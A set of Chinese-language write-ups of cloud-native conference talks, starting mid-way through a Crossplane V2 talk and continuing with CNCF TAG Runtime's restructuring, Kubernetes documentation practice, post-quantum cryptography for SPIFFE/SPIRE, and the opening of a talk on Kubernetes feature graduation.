需要说明的是,大多数复合资源将是命名空间作用域的。复合资源定义看起来很像 Kubernetes 的 CRD,我们采用了 CRD 上的 scope 字段,并将其放在 XRD 上。现在你可以选择你的 XRD(以及由此产生的 XR)是命名空间作用域还是集群作用域。我们预计,像大多数 Kubernetes 资源一样,绝大多数 XR 将来都会是命名空间作用域的,但集群作用域的 XR 也有一些有趣的用例(例如,打包像 Argo CD 或 Operator 这样的东西,并使用 XR 将其部署到多个集群)。

命名空间作用域的托管资源与哲学转变

在 V2 中,托管资源现在也是命名空间作用域的。目前预览版中只更新了 AWS 提供商支持命名空间托管资源,未来几个月将更新所有提供商。这意味着当你创建一个命名空间作用域的 XR 时,可以将其组合成命名空间作用域的托管资源。

我们不会花太多时间解释 Kubernetes 中命名空间的好处,假设大家都熟悉。租户隔离允许你授予人们在某个命名空间中创建应用 XR 甚至直接管理资源的权限,但不能在其他命名空间中这样做。

这引出了 V2 的另一个哲学上的变化。在 V1 中,我们认为 Crossplane 是“垂直集成”的,意思是告诉人们不应该直接创建托管资源,也不应该将托管资源放入 Helm Chart 中,而应该通过复合资源来创建。反之亦然,我们说复合资源是用于 Crossplane 托管资源的,而不是用于任意 Kubernetes 资源的。

在 V2 中,我们不再持有这种观点。随着一切都变为命名空间作用域,如果你愿意,使用其他工具创建托管资源变得更有意义,这完全可以。我们认为它与组合功能配合使用效果最佳,但你不必强制使用组合。同样,你可以使用组合来组合任何你想要的 Kubernetes 资源,比如 Deployment、Service,而不仅仅是 Crossplane 托管资源。

V2 如何简化组合

让我们通过图表看看 V2 如何简化工作流程。别担心,这个看起来很复杂奇怪的图表展示的是 V1 的工作方式。

技术上,V1 已经可以组合任意资源,但方式有点奇怪。例如,平台团队定义了一个新的 API “App”。当有人在命名空间中创建 App 时,平台团队希望 Crossplane 创建一个 Deployment、一个 Service 和一个 RDS 实例。其机制是:在命名空间中创建 App Claim,然后 Crossplane 跳出命名空间,在集群作用域创建 App XR(即 Claim 的镜像)。然后,这个 App XR 由两个对象组成(这本身就很奇怪):来自 Kubernetes 提供程序的集群作用域托管资源(用于在 Kubernetes 上运行的服务),这些资源会跳回命名空间创建 Deployment 和 Service;同时,RDS 实例是集群作用域的。虽然最终完成了任务,但过程比必要的更复杂。

这是 Crossplane V2 中的样子。你会同意,这个图表中至少少了三个框,因此简单得多。用户创建一个命名空间作用域的 XR,Crossplane 直接响应并创建一个 Deployment、一个 Service 和一个 RDS 实例(现在也是命名空间作用域的)。同样,你根本不必使用托管资源,效果是一样的:用户创建 App,我们创建 Deployment、Service 和一个在集群中运行 Postgres 的云原生 PG 数据库集群(而不是 RDS 或其他云服务)。

V2 的向后兼容性

Crossplane V2 与 V1 向后兼容。这意味着一旦 V2 正式发布,你将能够从 V1 升级到 V2,大多数人在升级时不会遇到破坏性变更。

我们做了两件事来实现这一点:

  1. 如前所述,XRD 有一个 scope 字段,可以是 NamespacedClusterLegacyCluster。如果你将其设置为 LegacyCluster(这将是 V1 风格 XRD API 的默认值),那么它将创建 V1 风格的“遗留” XR,这种 XR 支持 Claims,其工作方式与 V1 完全相同。
  2. 我们正在为所有提供商添加命名空间托管资源支持,但不会移除集群作用域的托管资源。

在 V2 中,我们将 V1 风格的集群作用域 XR 和托管资源视为遗留功能。我们希望你迁移到新的命名空间功能,但升级到 V2 时,你不必强制进行迁移,所有 V1 风格的东西仍将受支持。

我们利用这次主版本更新的机会,移除了一些已弃用多个版本的功能,最显著的是 ControllerConfig(一种配置提供商的方式,已弃用约 11 个版本,从未走出 Alpha 阶段,但曾被大量使用)和 Patch and Transform 组合(这是组合函数的前身,已弃用近三个版本)。如果你在使用 Patch and Transform,需要在升级到 V2 前切换到组合函数。

V2 快速演示

现在,Nick 进行了一个快速的 V2 演示。演示基于 V2 文档中的“快速入门组合指南”,目标是创建一个“App”复合资源,当创建时,Crossplane 会创建一个 Deployment 和一个 Service(不使用托管资源)。

演示步骤包括:

  1. 定义 API:通过创建 XRD 来定义 App 类型,指定其模式(例如,只有一个 spec.image 字段)。
  2. 安装函数:选择并安装一个组合函数(演示中让观众在 Helm 风格模板 YAML、Python 和 KCL 之间选择,最终选择了 KCL)。
  3. 配置组合:创建一个 Composition 资源,将 App XRD 与 KCL 函数连接起来,告诉 Crossplane 当创建 App 时调用该函数,并传入如何创建 Deployment 和 Service 的逻辑。
  4. 创建资源:创建一个 App 实例,Crossplane 会自动协调,创建出对应的 Deployment 和 Service。

演示展示了在 V2 中,由于一切都是命名空间作用域的,并且更像普通的 Kubernetes 资源,因此可以使用像 kubectl tree 这样的插件来可视化资源关系,非常简单直观。

如何尝试 V2 并提供反馈

Crossplane V2 预览版现已发布。我们花了大量精力修改了 V2 的文档。你可以通过提供的 URL 或 QR 码访问文档,学习如何开始使用 Crossplane V2 预览版。

之所以是预览版,是因为具体设计仍然开放。我们希望获得更多社区反馈,希望你能安装、试用并告诉我们这是否是正确的方向,然后我们才会将其确定为 Crossplane V2 的真正未来。请务必就 V2 和新文档给我们反馈。

社区与贡献

Crossplane 项目离不开其社区。我们欢迎更多贡献者。我们最近编写了一份面向新贡献者的入门指南,位于 Crossplane GitHub 仓库的 contributing 文件夹中。它帮助你了解 Crossplane 哪些地方需要贡献、如何开始第一次贡献、如何找到一个好的初级任务等。文档也非常需要帮助。这是你了解如何成为 Crossplane 贡献者的指南。

关键入口点是 crossplane.io 网站,你可以从那里找到文档、仓库、博客等所有内容。

总结与行动号召

本节课中,我们一起学习了 Crossplane 作为云原生控制平面框架的核心概念。我们了解了其基本构建模块(托管资源)、如何通过组合和函数构建高级抽象平台,并深入探讨了即将到来的 V2 版本的重大变化,包括命名空间作用域的复合资源与托管资源、更灵活的资源组合能力以及更好的向后兼容性。

最后的行动号召是:尝试 Crossplane V2 预览版!我们展示了我们认为非常有用的变化,这些变化将使 Crossplane 更有用、更易用。我们非常希望听到你的反馈。

问答环节摘要

在演讲最后的问答环节,讨论了一些问题:

  • 关于类似 Terraform Data Sources 的功能:Crossplane 有“只观察资源”的原始功能,可以创建资源但不执行云操作,仅镜像状态。结合函数,可以实现类似数据源的功能。社区正在考虑构建更便捷的解决方案。
  • 关于资源部署顺序调度:可以通过组合函数实现。Crossplane 每次调用函数时会提供世界的观测状态,因此可以在函数中添加逻辑,例如在 Deployment 就绪后再创建 Service。有些现成的函数也支持配置来实现排序。
  • 关于调节协调间隔以避免云提供商速率限制:每个提供商都提供了配置选项,可以指定同步资源的频率(使其变慢)。此外,Crossplane 还有“暂停”的概念,可以为资源添加暂停注解,Crossplane 将停止协调,直到取消暂停。未来还有一个名为“实时组合”的功能正在开发中,它将使用监听机制而非轮询,有望减少系统中的协调次数。

感谢大家的参与,欢迎到展台进一步交流。

004:探索CNCF TAG Runtime - 从AI到边缘,推动云原生创新

在本教程中,我们将学习CNCF技术咨询组(TAG)的概况,特别是TAG Runtime的当前结构、职责范围、下属工作组,以及即将到来的组织架构调整。我们将了解如何参与其中,并探讨这些变化如何更好地服务于快速增长的云原生社区。

TAG Runtime概述:结构与职责

CNCF技术咨询组(TAG)旨在协助CNCF技术监督委员会(TOC)开展工作,通过贡献技术专长、保持项目完整性并提升质量,来支持CNCF的使命。TAG是TOC与社区之间的桥梁,负责协调特定技术领域的讨论与协作。

目前CNCF共有8个TAG,但随着项目数量的快速增长(从几年前的约50个增长到如今的约200个),现有的结构需要调整以更好地服务社区。TAG Runtime是其中之一,其职责包括:

  • 与项目社区建立联系并互动。
  • 协助项目进行技术评审。
  • 引导和启动新的社区倡议。
  • 协调和主持不同工作组(Working Group)的会议。
  • 作为项目加入CNCF后的首要联络点。

TAG Runtime的广泛范畴

上一节我们介绍了TAG的通用职责,本节中我们来看看TAG Runtime具体涵盖哪些技术领域。虽然其名称包含“运行时”,但其范畴远不止容器运行时。

TAG Runtime的范畴非常广泛,主要包括以下领域:

  • 工作负载编排:例如Kubernetes及其相关生态项目。
  • 运行时:包括容器运行时(如containerd、CRI-O)、虚拟机运行时以及新兴的WebAssembly运行时。
  • 无服务器计算:如Knative等项目。
  • 操作系统与虚拟化:包括特殊用途的Kubernetes发行版(如K3s、K0s)和轻量级操作系统(如Flatcar Container Linux)。
  • 边缘与设备计算:涉及在边缘场景和物联网设备上运行云原生工作负载。
  • 人工智能:如何基于云原生技术运行AI工作负载,以及如何利用AI增强云原生运维。

TAG Runtime下属工作组及其成果

了解了TAG Runtime的广泛范畴后,我们来看看其下属的几个活跃工作组及其取得的成果。以下是几个关键工作组:

  • 云原生AI工作组:成立约两年,专注于云原生与AI的结合。主要成果包括发布了《云原生AI白皮书》,并正在推进AI安全、GPU调度挑战及可持续性等相关白皮书的编写。
  • WebAssembly工作组:作为一个跨公司、跨社区的协作平台,推动了OCI artifacts布局针对WASM的更新,并与Bytecode Alliance合作进行上游代码贡献和W3C标准推进。
  • 批处理系统倡议工作组:致力于为批处理工作负载定义规范、CRD类型和特定资源。该工作组与AI工作组有紧密联系,因为许多AI工作负载也涉及批处理调度和资源(如GPU)的高效利用。
  • 容器编排设备工作组:这是一个独特的、直接产出代码规范的工作组。其核心成果是定义了容器内如何暴露设备的规范(CDI),该规范已被众多容器运行时和工具(如Docker、Podman)采用。近期发布了CDI 1.0规范。
  • 物联网边缘工作组:主要产出技术文档和白皮书,探讨如何将IoT设备连接到Kubernetes集群。
  • 特殊用途操作系统工作组:通过组织小组讨论和圆桌会议,倡导和探讨特殊用途操作系统的不同方法与实践。

TAG架构重启与未来展望

前面我们了解了TAG Runtime的现状,本节中我们将探讨CNCF为适应社区快速增长而进行的TAG架构调整,即“TAG Reboot”。

新的CNCF结构将更加灵活,旨在更好地支持社区倡议的发起和成长。核心变化在于在TAG之下引入了新的协作实体:

  • 子项目:类似于长期的工作组,可以直接与TOC或某个特定的TAG协作。生命周期可以很长(数年),只要社区保持活跃。
  • 倡议:旨在短期存在,专注于交付特定成果,如一份规范、一段代码或解决一个具体问题的方案。
  • 社区组:更偏向于技术讨论的定期会议,围绕特定主题进行交流。

在新的架构下,TAG数量将整合为5个,其范围如下:

  • 开发者体验
  • 工作负载基础
  • 基础设施
  • 运维弹性
  • 安全与合规

当前的TAG Runtime将主要映射到新的 TAG 工作负载基础,其范围包括运行时、容器、虚拟机、批处理调度器、动态扩缩容、CI/CD等。同时,在基础设施、运维弹性等TAG中也会存在相关议题的重叠。

现有工作组的转型路径与参与方式

随着新架构的推出,现有的TAG Runtime工作组需要确定其未来的归属形式。以下是对各工作组的建议转型路径:

  • 批处理系统倡议工作组:建议申请成为新的“倡议”或根据活跃度决定归档。
  • WebAssembly工作组:建议申请成为新的“倡议”。
  • 容器编排设备工作组:建议重新申请(作为子项目或倡议)。
  • 物联网边缘工作组:由于活跃度较低,建议归档,但若有社区成员愿意推动可重新激活。
  • 特殊用途操作系统工作组:建议申请成为“倡议”或转为“社区组”。
  • 云原生AI工作组:建议创建为TOC直属的“子项目”。

需要强调的是,架构调整的目的是优化在CNCF框架内的协作模式,而非终止社区本身的工作。相关技术社区和讨论将继续存在和发展。

对于希望参与的个人,参与方式并未发生根本改变。在新架构完全确立之前,所有现有沟通渠道(如Slack频道、定期会议)将继续保持开放和活跃。我们鼓励所有人:

  • 参加会议和讨论。
  • 帮助评审新项目。
  • 提供来自最终用户和领域的反馈。
  • 积极申请在新的TAG架构中担任领导角色(如TAG主席或技术负责人)。

整个架构重启的核心目的是使社区能够更敏捷地成长,更轻松地发起和推进倡议,以支持云原生生态下一个十年的指数级增长。

总结与互动

本节课中,我们一起学习了CNCF TAG的职责,深入了解了TAG Runtime的广泛技术范畴及其下属工作组取得的成就。我们探讨了即将到来的TAG架构重启,包括新的子项目、倡议和社区组模式,以及现有工作组可能的转型路径。最后,我们明确了社区参与的方式将持续开放,并鼓励大家积极加入,共同推动云原生创新。

架构调整是为了更好地服务社区、促进协作,最终目标是赋能每一个社区成员,共同构建云原生的未来。

005:通过文档弥合开源采用鸿沟

在本教程中,我们将学习 Kubernetes 项目如何通过其文档工作来帮助用户和公司更顺利地采用开源技术。我们将探讨文档团队如何组织工作、如何为不同用户编写内容,以及社区如何参与改进文档。


概述:为什么文档对开源采用至关重要

在开源领域,文档质量是决定一个项目能否在企业中被成功采用的关键因素之一。Kubernetes 作为全球第二大开源项目,其文档策略和经验值得借鉴。本节我们将介绍本次分享的核心背景。


章节 1:接近性问题——我们代表谁?

上一节我们介绍了文档的重要性,本节中我们来看看文档创作中面临的一个核心挑战:接近性问题。

文档维护者与开发团队(技术专家)和最终用户之间存在距离。我们无法同时深入参与所有群体,因此必须明确优先代表哪一方的利益。

在 Kubernetes 文档团队(SIG Docs)中,我们做出了明确的选择:

  • 我们代表用户:我们的核心职责是确保文档可读可用。我们制定文档的结构、风格和流程,使其对从初学者到管理员的所有用户都友好。
  • 技术专家确保准确性:文档的技术内容由各个功能特性的负责人(KEP Owner)拥有和保证。他们负责审核,确保所有技术细节的准确性。

因此,我们的协作模式是:SIG Docs 设定易用性标准,而 KEP Owner 确保技术正确性。我们经常需要主动联系 KEP Owner,推动文档符合项目规范。

核心协作公式可用的文档 = SIG Docs(易用性) + KEP Owners(技术准确性)


章节 2:拥抱多元声音——为不同用户写作

解决了代表性问题后,我们需要思考如何为形形色色的用户服务。Kubernetes 用户背景各异,文档必须覆盖所有技能水平。

我们的文档主要分为以下几类,以满足不同需求:

  • 概念与任务指南:针对初学者,解释核心概念并提供从零开始的实践教程。
  • 参考文档:针对开发者、系统管理员和架构师,提供 API 详情、高级概念等深度内容。

我们致力于为不同技能水平的用户提供一致且易于识别的体验。研究表明,文档的语气和语调对用户理解信息有巨大影响。因此,我们严格遵循以下风格准则:

  • 使用主动语态:让用户感觉自己在主导操作。例如,“你创建了一个 Pod” 而非 “一个 Pod 被创建”。
  • 直接称呼用户为“你”:建立直接联系,将用户置于主体地位。
  • 使用简洁直接的语言:避免华丽辞藻和复杂句式,确保内容清晰易懂,也便于翻译。

代码示例(风格对比)
不佳(被动)The configuration file is required to be created by the user.
更佳(主动)You must create a configuration file.


章节 3:明托金字塔原则——构建可浏览的文档

明确了写作对象和风格后,我们需要一个有效的结构来组织海量信息。这里我们引入了“明托金字塔原则”。

明托金字塔是一种信息组织框架,将内容像金字塔一样构建:

  1. 塔尖:最重要的结论或摘要。
  2. 中间:支持结论的关键论点或步骤。
  3. 塔基:详细的背景信息、数据和证据。

我们将此原则应用于文档,因为研究表明,79% 的在线读者只会扫读内容。为了适应这种阅读习惯,我们采用“可浏览文本”原则:

以下是实现可浏览文本的关键方法:

  • 使用清晰的子标题:将内容分割成逻辑块。
  • 在开头列出要点:开门见山,给出核心摘要。
  • 善用列表和表格:将复杂信息结构化、视觉化。

这种结构不仅帮助日常用户快速找到所需信息,甚至对备考(如 CKA/CKAD 认证)的用户进行考前冲刺也特别有效。


章节 4:社区驱动开发——文档永无止境

有了清晰的结构,但文档内容本身需要持续更新和维护。Kubernetes 文档从来不是完美或完整的,这需要社区的持续贡献。

文档需要持续改进的主要原因包括:

  • 每年三次发布周期:新功能、旧功能毕业,都需要更新或新增文档。
  • 多语言本地化:文档被翻译成 16 种语言(包括英文),英文版的更新必然导致其他语言版本的滞后。
  • 多版本支持:需要维护多个 Kubernetes 版本的文档,增加了复杂性。

因此,我们鼓励“开车式贡献”(Drive-by Contributions)。最棒的贡献方式就是在使用文档时发现问题并提交修正

在评估贡献时,我们秉持“足够好”的原则:

  • 核心问题:这个贡献是否让文档变得更好?只要答案是肯定的,我们就倾向于接受。
  • 工程成本:每个贡献(即使只是修正一个拼写错误)都需要社区成员花费时间进行审查、合并。我们鼓励贡献者在提交时多思考一步,例如:“我是否发现了同一页的其他错误?”或“这段文字改成列表是否更易读?”。这种能提升整体用户体验的贡献最为宝贵。

章节 5:改进空间与行动号召

尽管我们已有成熟的流程,但 Kubernetes 文档仍有很大的改进空间。我们在此发出社区贡献的邀请。

目前我们重点寻求帮助的领域包括:

  1. API 参考文档工具链:我们正在重建设备生成 API 参考文档的工具链。该项目需要 GoPython 开发技能。
  2. 博客审阅者:我们的博客子项目长期缺乏审阅者和批准者。博客内容包括版本发布、功能特性、用例研究等,需要更多人参与内容把关。

如何参与贡献?

  • 加入沟通渠道:请加入 Kubernetes Slack#sig-docs 频道。
  • 阅读贡献指南:在贡献前,请务必阅读官方的 贡献指南
  • 参与社区会议:可以订阅 SIG Docs 的邮件列表,获取会议邀请。特别推荐每月第一个星期二(UTC 时间 10:30)的“新贡献者见面会”。

你也可以通过以下方式提供反馈:

  • 在官网每篇文档页面的底部点击“反馈”(Feedback)按钮。
  • 直接点击文档页面右上角的“编辑此页”(Edit this page)链接来提交修改。

总结

在本教程中,我们一起学习了 Kubernetes 项目如何通过文档弥合开源采用的鸿沟。我们从“接近性问题”出发,明确了文档团队代表用户、技术专家保证准确性的分工。接着,我们探讨了如何为多元用户写作,并引入“明托金字塔原则”来构建可扫读的文档结构。我们还了解了文档如何依靠“社区驱动开发”来保持活力,并秉持“足够好”的哲学来接纳贡献。最后,我们指出了当前的改进领域并发出了具体的贡献邀请。希望这些经验能帮助你更好地理解开源文档工作,并激励你参与其中。

006:超越经典密码学

在本节课中,我们将学习量子计算对当前密码学体系的威胁,以及如何为云原生系统构建量子安全的加密体系。我们将探讨量子计算机的基本原理、后量子密码学算法,并了解如何在 Kubernetes 和 SPIFFE/SPIRE 生态系统中实现量子安全通信。

概述:量子计算的威胁

上一节我们介绍了课程背景,本节中我们来看看量子计算带来的具体挑战。

当前的网络攻击模式已经发生变化。过去的攻击像银行抢劫,快速而激烈。现在的攻击则像叉车作业,攻击者窃取整个数据“保险箱”,然后在安静的环境中进行缓慢、有条不紊的解密和利用。

前向保密性可以保护过去和未来的数据,即使长期密钥被泄露。这对于需要数十年保密性的系统(如医疗、金融或国防)至关重要。虽然当前的密码系统仍然稳固,但量子计算机的崛起可能会戏剧性地改变这一点。

量子计算机基础

量子计算机使用量子比特进行操作。一个理想的量子比特存在于基态 |0> 和 |1> 的叠加态中,这对应于经典的二进制位 0 和 1。但这些基态实际上是正交向量,构成了线性向量空间的基础。

这意味着单个量子比特可以表达向量 |0> 和 |1> 的任何线性组合。我们称一个量子比特为 |φ>,可以写作:
|φ> = α|0> + β|1>
根据定义,α 和 β 被称为概率幅,意味着它们的平方和必须为 1。量子比特允许像 (|0> + |1>)/√2 这样的状态,这意味着它以相等的概率同时处于 0 和 1 状态,并且这个特性可以扩展。

经典密码学的脆弱性

大多数传统加密算法,如 RSA、椭圆曲线密码学和 Diffie-Hellman,依赖于大数分解或求解离散对数的困难性。然而,量子计算机可以运行 Shor 算法,在多项式时间内分解大数,从而使 RSA 和椭圆曲线加密过时。

Shor 算法于 1994 年提出,防御它需要一套新的数学算法。我们必须使数学问题多样化。这就是美国国家标准与技术研究院已经开始标准化量子安全替代方案的原因。

后量子密码学算法

在量子安全算法中,格基密码学为量子安全加密提供了最通用的基础。它支持多种原语,如全同态加密、签名和密钥交换机制。它们提供了对“带错误学习”等问题的强安全性规约,并建立在 n 维格问题的线性代数之上,正如幻灯片所示。这是 Kyber 和 ML-KEM 等方案的基础。

在 NIST 后量子密码学标准化过程的第三轮(于去年结束)中,NIST 选择了 Kyber、ML-KEM 和 ML-DSA 作为联邦信息处理标准 FIPS 203 和 FIPS 204。

量子威胁的时间线

现在,破解经典密码学可能感觉还很遥远。我们可能需要数千个物理量子比特才能得到一个可靠的逻辑量子比特,IBM 认为我们可能要到 2030 年代末才能达到那个水平。尽管如此,意外的突破(黑天鹅事件)可能会使进程比预期快得多。

目前,硬件能力与破解现代密码学所需能力之间存在约 10 倍的差距。我们还没有完全达到。阻碍我们达到目标的技术障碍包括:量子比特稳定性不足、计算中存在大量错误以及扩展量子计算机系统的挑战。我们还没有真正解决量子纠错问题,这对于使量子计算机可靠至关重要。

最近几周,我们看到谷歌宣布了 105 量子比特的 Willow,但这在密码学上还不具备相关性。我们需要数百万个量子比特和纠错才能完成这样的任务,当前的重点是量子纠错和可扩展的量子比特。与此同时,专家意见已经开始转变。全球风险调查显示,受访专家认为未来十年内出现突破的可能性约为 30%。考虑到攻击者已经可以窃取数据并“现在加密,以后解密”,这相当严重。

因此,即使现在还没有量子计算机,也存在一个威胁窗口:从今天数据被加密并需要保持安全的时间段,到未来量子计算机使加密被追溯破解的时刻。

如果 X + Y > 量子威胁,其中 X 是数据需要保密的时间,Y 是迁移系统所需的时间,那么今天加密的数据就面临风险。例如,需要长期保密约 50 年的医疗数据,如果今天开始迁移到量子安全替代方案需要 10 年,而能够在未来 60 年内破解 RSA 和椭圆曲线的量子计算机出现,那么该组织今天就已经面临风险。

密码学界的 Ryan Hurst 很好地阐述了这一点:如果你处理关键的生命数据,你现在就应该采取行动;如果你的组织处理需要长期保密性的敏感数据,你应该今天就开始考虑;但如果你不处理这些,那么在你的职业生涯中,你的组织可能不会面临这个问题。

后量子密码学的额外价值

撇开量子计算机不谈,如果量子计算机永远无法实现,考虑到对这个问题的高度关注,这些算法的价值是什么?

经典密码学存在许多实现缺陷,可能导致严重的漏洞。你可以查看 Python cryptography 库的 hashes 模块文档,它警告说“只有在你 100% 知道自己在做什么时才应该使用它”。诸如时序侧信道攻击、弱熵组攻击或曲线外输入等问题。这些加密库通常暴露非常低级且危险的 API,很容易被误用,就像“搬起石头砸自己的脚”。尽管有强大的标准,但许多有缺陷的实现仍然持续存在这些问题。

因此,这套新算法的优点在于问题的多样化,特别是:

  • 恒定时间实现:减少时序侧信道攻击的风险。
  • 确定性哈希(如 SHAKE):减少因随机性差而导致失败的机会。
  • 定义明确的采样:阻止攻击者利用偏差和确定性行为。
  • 形式化规范和验证:许多这些算法是经过形式化规范和验证的。
  • 快速的密钥生成:这不仅关乎性能,还能实现大规模的前向保密。
  • 经过审查的参数:防止“自己动手”配置带来的风险。

密钥不能长期存在。特别是在国防领域,政府倾向于使用生命周期约为 25 年的秘密。此外,考虑到“现在加密,以后解密”的攻击,意味着对手可能会存储今天被窃取的加密消息,并在未来拥有足够强大的量子计算机时解密它们。许多政府,如英国和美国,已经开始立法规划系统迁移。这是来自 GCHQ 上周的消息。NSA 去年发布了 CNSA 2.0 的更新,建议考虑量子系统密码学。

我们知道密码学迁移往往需要很长时间。我们可以回顾一下 SHA-2 迁移的时间线。密码算法过渡的阶段包括:选择和开发、标准化、实现、部署和使用。我们今天所处的阶段类似于实现的早期步骤,但大多数行业还没有达到,企业级应用肯定没有。

现实世界的采用与行动呼吁

以下是关键数字基础设施的现实世界采用示例(非详尽列表):

  • OpenSSL 刚刚在上周宣布了其近期路线图。

那么,Kubernetes 社区和云原生社区可以采取哪些行动来准备呢?

限制密钥对攻击者的效用至关重要。密钥生命周期不仅取决于算法,很大程度上取决于密钥的管理方式。使用密钥的时间越短,即使密钥被泄露,暴露的风险也越小。定期轮换密钥将限制风险,同时也有助于你为过渡做好准备。

历史上,作为一个行业,我们做得并不好。如果我们看看像 DigiNotar、Heartbleed、Logjam 这样的高调安全事件,就会发现我们今天实施的许多密钥管理侧重于减少密钥蔓延,而不是真正的保护。即使你使用硬件安全模块,密钥在使用或分发时也是最容易暴露的,而这正是防御最薄弱的地方。

密码学敏捷性是关于领先于不断演变的风险。这意味着能够轻松地交换算法、密码和协议,在整个生命周期内安全管理密钥,并随着标准的变化调整策略,为地平线上的新密码学威胁做好准备。

随着密码学“正确答案”的演变和后量子密码学使用的增加,商业和企业界的焦虑将会增长。这种恐惧通常源于不清楚哪些应用程序使用了密码学,以及更改算法和轮换密钥的未知结果。这阻碍了采用。

为了克服这种焦虑,你可以采取以下步骤:

  • 消除手动流程:将人从循环中移除。
  • 利用更好的可见性和可观测性:帮助信任变更的安全性。
  • 标准化实践:使一切更容易理解和调试。
  • 定期演练变更:建立团队所需的信心,以便更快地行动。

Adam Langley 的引言是密码学敏捷性的一个很好的比喻。这个想法相当简单:与其将复杂性分散在整个系统中,不如专注于一个定义明确、可维护的点——“一个润滑良好的关节”。这样,当密码学需要改变时,你将只有一个地方需要更新,使你的系统既适应性强又安全。

密钥管理通常被审计或合规团队视为一个复选框和基于刚性策略的任务。但确保克服策略团队和运营团队之间的脱节至关重要。有许多操作挑战,我不会详细讨论,但为了便于你之后查看,我把它们列在屏幕上。

SPIFFE/SPIRE 的量子安全实践

现在,让我们回到作为 SPIFFE 维护者的演讲主题。在我过去十年的职业生涯中,我在许多不同的组织中使用过 SPIFFE,我们选择围绕它构建有几个原因:

  • 动态、可验证的身份:它为每个服务提供动态、可验证的身份,不再需要静态 API 密钥或长期证书。
  • 短期凭证和自动轮换:凭证是短期的且自动轮换,降低了风险。
  • 身份与可信运行时信号绑定:身份与可信的运行时信号和工作负载证明绑定。
  • 集中控制:我们通过策略控制颁发、续订和撤销。

在对工作负载进行身份验证时,服务帐户级别的信任是不够的。你需要工作负载级别的证明:测量代码、验证运行时行为,甚至可能将其与可信执行环境或基于策略的上下文绑定。

SPIFFE 和 SPIRE 以需要适配的方式使用密码学,以实现后量子安全。它基于 TLS/mTLS,具体来说:

  • 使用非对称密码学。
  • 使用密钥交换机制。
  • 使用证书验证器(一种验证对方控制该证书的数据)。

这些都容易受到密码学相关量子计算机的攻击。因此,需要用新的量子安全算法进行改造,以使中立的 TLS 在后量子环境中安全。

SPIFFE 基于 TLS,基于 X.509 证书,也可以使用 JWT 令牌。因此,我们需要用新算法改造这些格式。

在这个领域中,最高威胁是密码学相关量子计算机对密钥交换的威胁,因为这允许攻击者捕获现在加密的数据并存储起来,推测未来某天他们可能拥有密码学相关的量子计算机,然后他们就可以追溯解密今天捕获的所有数据。这意味着你现在就需要考虑这个威胁。

因此,绝对最优先的事项是处理 TLS 栈中的密钥交换部分,并用后量子安全密钥交换算法替换现有的交换算法(如椭圆曲线 Diffie-Hellman)。当然,你最终也希望用后量子安全算法改造 X.509 证书和 JWT 中的签名算法。但由于这需要主动攻击,所以不那么紧迫。

因此,我们将后量子密码学算法集成到 SPIRE 中:

  • 我们向 SPIRE 使用的 TLS 栈添加了 Kyber X25519 混合密钥交换,这是后量子安全的。
  • 我们用 Dilithium 和 Falcon 签名增强了 X.509 证书,这些现在是 ML-DSA 的基础,已被 NIST 采用作为认证的基础。

我们已经解决了这两个威胁,既解决了高优先级威胁,也解决了低优先级威胁。

为量子安全设计,我们现在有了带有后量子密码学的 TLS,可以与 Cilium 允许表达的过滤策略一起使用,包括 HTTP 请求片段。这实现了安全的服务间通信。

构建模块是 SPIRE、Cilium 和 Envoy,实际上支持服务网格方法,其中通过 mTLS 发出的 HTTP 请求可以根据 URL 结构在应用级别进行审计、检查、允许和拒绝。

演示与关键要点

我们有一个简短的演示。我们有一个运行 Cilium 的三节点 Kubernetes 栈。我们有一个简单的测试应用程序在运行。我们配置了一个 Cilium 网络策略,限制只能向特定端点(如 /healthz)发出 HTTP 请求,而访问其他端点(如 /)则被拒绝。关键在于,这一切都是通过 Envoy 服务网格在节点间使用后量子安全的 mTLS 进行保护的,因此你的应用程序不需要了解任何后量子算法,节点到节点的通信是安全的,并且你可以在其上添加策略。

我们还可以查看用于 mTLS 通信的 X.509 SVID 证书。证书的签名算法是新的(Dilithium 签名),以至于机器上安装的 OpenSSL 版本都无法识别它。

关键要点如下:

  • 密码学相关的量子计算机威胁着当前的非对称加密,特别是通过“现在加密,以后解密”的攻击。现在采用至少后量子安全的密钥交换机制对于未来验证 SPIFFE、SPIRE 和其他 API 技术等系统至关重要。
  • 这是最高风险。因此,你需要采用后量子安全密钥交换机制,特别是混合机制,如 X25519-Kyber-768,这样你可以对冲未来任一算法变得不安全的可能性。
  • 同样,你最终(但优先级较低)希望用后量子安全签名改造 X.509 证书、JWT 令牌和其他使用签名算法的东西。
  • TLS 协议有一些棘手的地方,可能导致特殊的结果,例如连接双方都支持后量子安全密码套件,但由于细微的实现差异,它们实际上没有协商成功。这需要注意。在这种情况下,它们会回退到非量子安全的密钥交换机制。因此,你实际上需要有一种方法来测量你在现场实际协商的内容,并验证其正在被使用。

对于 Go 生态系统(当然这与 Kubernetes 高度相关,因为大量软件是用 Go 实现的),Go 现在已经发布了主线的混合密钥交换机制(Go 1.23)。在许多情况下,你可以通过升级到 Go 1.23 在现有的 Go 代码中部署它。对于后量子签名,我们基于 Cloudflare 的 circl 库进行了采用,这是 Cloudflare 为这些 Dilithium 和 Falcon 签名开创的库。NIST 标准现已发布,因此你应该预期会有很多变化。

总结与问答

安全永无止境。因此,我们鼓励你开始规划并考虑那些尖锐的问题、权衡和注意事项,以着手迁移到量子安全算法,并与开源社区合作并分享这些经验。

在问答环节,主要讨论了后量子算法带来的开销(更大的密钥和流量大小,更高的计算成本,但在 Kubernetes 等环境中,TLS 握手开销通常不是瓶颈),以及作为最终用户或系统管理员今天可以做什么(主要是关注供应商建议,及时升级软件,例如 Go 1.23 已默认支持后量子密钥交换)。


本节课中我们一起学习了量子计算对经典密码学的威胁、后量子密码学的基本原理和算法(如 Kyber、Dilithium),以及如何在云原生环境(特别是 SPIFFE/SPIRE 和 Kubernetes 服务网格)中实践量子安全通信。核心在于理解威胁的紧迫性,并通过密码学敏捷性、密钥生命周期管理和采用标准化后量子算法来为未来做好准备。

007:从Alpha到GA的毕业流程 🎓

在本节课中,我们将学习Kubernetes如何管理新功能的质量,并详细解释一个功能从Alpha阶段发展到稳定版(GA)的完整流程。我们将探讨功能开发、API设计、测试策略以及社区如何协作以确保项目的稳定性和高质量。


项目组织与功能开发

Kubernetes是一个拥有庞大生态系统的重要开源项目。为了管理这样一个大型项目的开发,我们通过“特殊兴趣小组”(SIGs)进行组织。这些小组可以是横向的(如API机制、CI),也可以是纵向的(如网络、存储)。

